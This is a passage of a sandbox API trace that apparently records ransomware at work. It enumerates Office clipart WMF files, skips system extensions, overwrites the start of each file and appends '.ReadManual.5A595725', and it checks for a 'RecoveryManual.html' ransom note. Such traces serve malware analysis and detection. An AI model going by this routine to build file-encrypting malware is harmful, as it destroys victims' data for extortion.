nFileSizeHigh=0x0, nFileSizeLow=0x1544, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SO00444_.WMF", cAlternateFileName="")) returned 1 [0274.487] lstrcpyW (in: lpString1=0x6ab90a, lpString2="SO00444_.WMF" | out: lpString1="SO00444_.WMF") returned="SO00444_.WMF" [0274.487] lstrcmpiW (lpString1="SO00444_.WMF", lpString2="RecoveryManual.html") returned 1 [0274.487] StrStrIW (lpFirst="SO00444_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0274.487] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0274.487] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0274.487] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0274.487] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0274.487] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0274.487] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0274.487] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0274.487] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0274.487] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0274.487] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0274.487] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0274.487] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0274.487] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0274.487] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0274.487] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00444_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00444_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00444_.WMF" [0274.488] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00444_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00444_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00444_.WMF.ReadManual.5A595725" [0274.488] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00444_.WMF.ReadManual.5A595725") returned 87 [0274.488] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39515638720) returned 1 [0274.488] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00444_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00444_.wmf")) returned 0x20 [0274.488] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00444_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00444_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0274.488] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=5444) returned 1 [0274.488] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1544, lpName=0x0) returned 0x184 [0274.488] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0274.489] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0274.489] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0274.491] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0274.491] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1544) returned 0x2f0000 [0274.491] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0274.491] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39515975396) returned 1 [0274.491] CloseHandle (hObject=0x184) returned 1 [0274.491] SetSecurityInfo () returned 0x57 [0274.491] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0274.491] CloseHandle (hObject=0x194) returned 1 [0274.491] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf630100, ftCreationTime.dwHighDateTime=0x1bd4b2d, ftLastAccessTime.dwLowDateTime=0x6d3324f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf630100, ftLastWriteTime.dwHighDateTime=0x1bd4b2d, nFileSizeHigh=0x0, nFileSizeLow=0x878, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SO00452_.WMF", cAlternateFileName="")) returned 1 [0274.491] lstrcpyW (in: lpString1=0x6ab90a, lpString2="SO00452_.WMF" | out: lpString1="SO00452_.WMF") returned="SO00452_.WMF" [0274.491] lstrcmpiW (lpString1="SO00452_.WMF", lpString2="RecoveryManual.html") returned 1 [0274.491] StrStrIW (lpFirst="SO00452_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0274.491] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0274.491] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0274.491] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0274.491] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0274.492] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0274.492] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0274.492] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0274.492] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0274.492] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0274.492] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0274.492] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0274.492] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0274.492] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0274.492] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0274.492] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00452_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00452_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00452_.WMF" [0274.492] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00452_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00452_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00452_.WMF.ReadManual.5A595725" [0274.492] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00452_.WMF.ReadManual.5A595725") returned 87 [0274.492] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39516063955) returned 1 [0274.492] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00452_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00452_.wmf")) returned 0x20 [0274.493] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00452_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00452_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0274.493] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=2168) returned 1 [0274.493] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x878, lpName=0x0) returned 0x184 [0274.493] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0274.494] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0274.494] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0274.496] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0274.496] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x878) returned 0x2f0000 [0274.496] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0274.496] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39516467360) returned 1 [0274.496] CloseHandle (hObject=0x184) returned 1 [0274.496] SetSecurityInfo () returned 0x57 [0274.496] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0274.496] CloseHandle (hObject=0x194) returned 1 [0274.496] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96d2000, ftCreationTime.dwHighDateTime=0x1bd4b2d, ftLastAccessTime.dwLowDateTime=0x6d3324f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x96d2000, ftLastWriteTime.dwHighDateTime=0x1bd4b2d, nFileSizeHigh=0x0, nFileSizeLow=0x59ec, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SO00453_.WMF", cAlternateFileName="")) returned 1 [0274.496] lstrcpyW (in: lpString1=0x6ab90a, lpString2="SO00453_.WMF" | out: lpString1="SO00453_.WMF") returned="SO00453_.WMF" [0274.496] lstrcmpiW (lpString1="SO00453_.WMF", lpString2="RecoveryManual.html") returned 1 [0274.496] StrStrIW (lpFirst="SO00453_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0274.496] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0274.496] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0274.496] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0274.496] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0274.496] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0274.496] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0274.496] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0274.497] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0274.497] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0274.497] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0274.497] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0274.497] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0274.497] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0274.497] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0274.497] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00453_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00453_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00453_.WMF" [0274.497] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00453_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00453_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00453_.WMF.ReadManual.5A595725" [0274.497] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00453_.WMF.ReadManual.5A595725") returned 87 [0274.497] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39516558249) returned 1 [0274.497] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00453_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00453_.wmf")) returned 0x20 [0274.497] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00453_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00453_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0274.497] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=23020) returned 1 [0274.498] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x59ec, lpName=0x0) returned 0x184 [0274.498] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0274.498] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0274.498] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0274.500] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0274.500] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x59ec) returned 0x2f0000 [0274.501] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0274.501] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39516954429) returned 1 [0274.501] CloseHandle (hObject=0x184) returned 1 [0274.501] SetSecurityInfo () returned 0x57 [0274.501] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0274.501] CloseHandle (hObject=0x194) returned 1 [0274.501] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa04e1b00, ftCreationTime.dwHighDateTime=0x1bd4e52, ftLastAccessTime.dwLowDateTime=0x5aa18b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa04e1b00, ftLastWriteTime.dwHighDateTime=0x1bd4e52, nFileSizeHigh=0x0, nFileSizeLow=0xb6c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SO00454_.WMF", cAlternateFileName="")) returned 1 [0274.501] lstrcpyW (in: lpString1=0x6ab90a, lpString2="SO00454_.WMF" | out: lpString1="SO00454_.WMF") returned="SO00454_.WMF" [0274.501] lstrcmpiW (lpString1="SO00454_.WMF", lpString2="RecoveryManual.html") returned 1 [0274.501] StrStrIW (lpFirst="SO00454_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0274.501] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0274.501] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0274.501] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0274.501] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0274.501] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0274.501] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0274.501] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0274.501] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0274.501] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0274.501] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0274.501] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0274.501] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0274.502] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0274.502] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0274.502] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00454_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00454_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00454_.WMF" [0274.502] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00454_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00454_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00454_.WMF.ReadManual.5A595725" [0274.502] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00454_.WMF.ReadManual.5A595725") returned 87 [0274.502] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39517044039) returned 1 [0274.502] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00454_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00454_.wmf")) returned 0x20 [0274.507] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00454_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00454_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0274.507] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=2924) returned 1 [0274.507] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xb6c, lpName=0x0) returned 0x184 [0274.507] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0274.508] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0274.508] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0274.510] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0274.510] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xb6c) returned 0x2f0000 [0274.510] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0274.510] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39517869330) returned 1 [0274.510] CloseHandle (hObject=0x184) returned 1 [0274.510] SetSecurityInfo () returned 0x57 [0274.510] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0274.510] CloseHandle (hObject=0x194) returned 1 [0274.510] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aa18b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xac8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SO00466_.WMF", cAlternateFileName="")) returned 1 [0274.510] lstrcpyW (in: lpString1=0x6ab90a, lpString2="SO00466_.WMF" | out: lpString1="SO00466_.WMF") returned="SO00466_.WMF" [0274.510] lstrcmpiW (lpString1="SO00466_.WMF", lpString2="RecoveryManual.html") returned 1 [0274.510] StrStrIW (lpFirst="SO00466_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0274.510] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0274.510] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0274.510] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0274.510] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0274.510] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0274.510] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0274.511] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0274.511] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0274.511] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0274.511] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0274.511] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0274.511] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0274.511] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0274.511] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0274.511] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00466_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00466_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00466_.WMF" [0274.511] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00466_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00466_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00466_.WMF.ReadManual.5A595725" [0274.511] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00466_.WMF.ReadManual.5A595725") returned 87 [0274.511] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39517961537) returned 1 [0274.511] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00466_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00466_.wmf")) returned 0x20 [0274.511] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00466_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00466_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0274.511] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=2760) returned 1 [0274.511] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xac8, lpName=0x0) returned 0x184 [0274.512] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0274.512] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0274.512] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0274.514] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0274.514] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xac8) returned 0x2f0000 [0274.514] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0274.514] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39518276260) returned 1 [0274.514] CloseHandle (hObject=0x184) returned 1 [0274.514] SetSecurityInfo () returned 0x57 [0274.514] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0274.514] CloseHandle (hObject=0x194) returned 1 [0274.514] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78be2200, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x6d3324f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78be2200, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0xfc0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SO00476_.WMF", cAlternateFileName="")) returned 1 [0274.514] lstrcpyW (in: lpString1=0x6ab90a, lpString2="SO00476_.WMF" | out: lpString1="SO00476_.WMF") returned="SO00476_.WMF" [0274.514] lstrcmpiW (lpString1="SO00476_.WMF", lpString2="RecoveryManual.html") returned 1 [0274.514] StrStrIW (lpFirst="SO00476_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0274.514] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0274.514] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0274.514] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0274.515] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0274.515] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0274.515] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0274.515] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0274.515] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0274.515] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0274.515] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0274.515] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0274.515] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0274.515] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0274.515] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0274.515] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00476_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00476_.WMF") 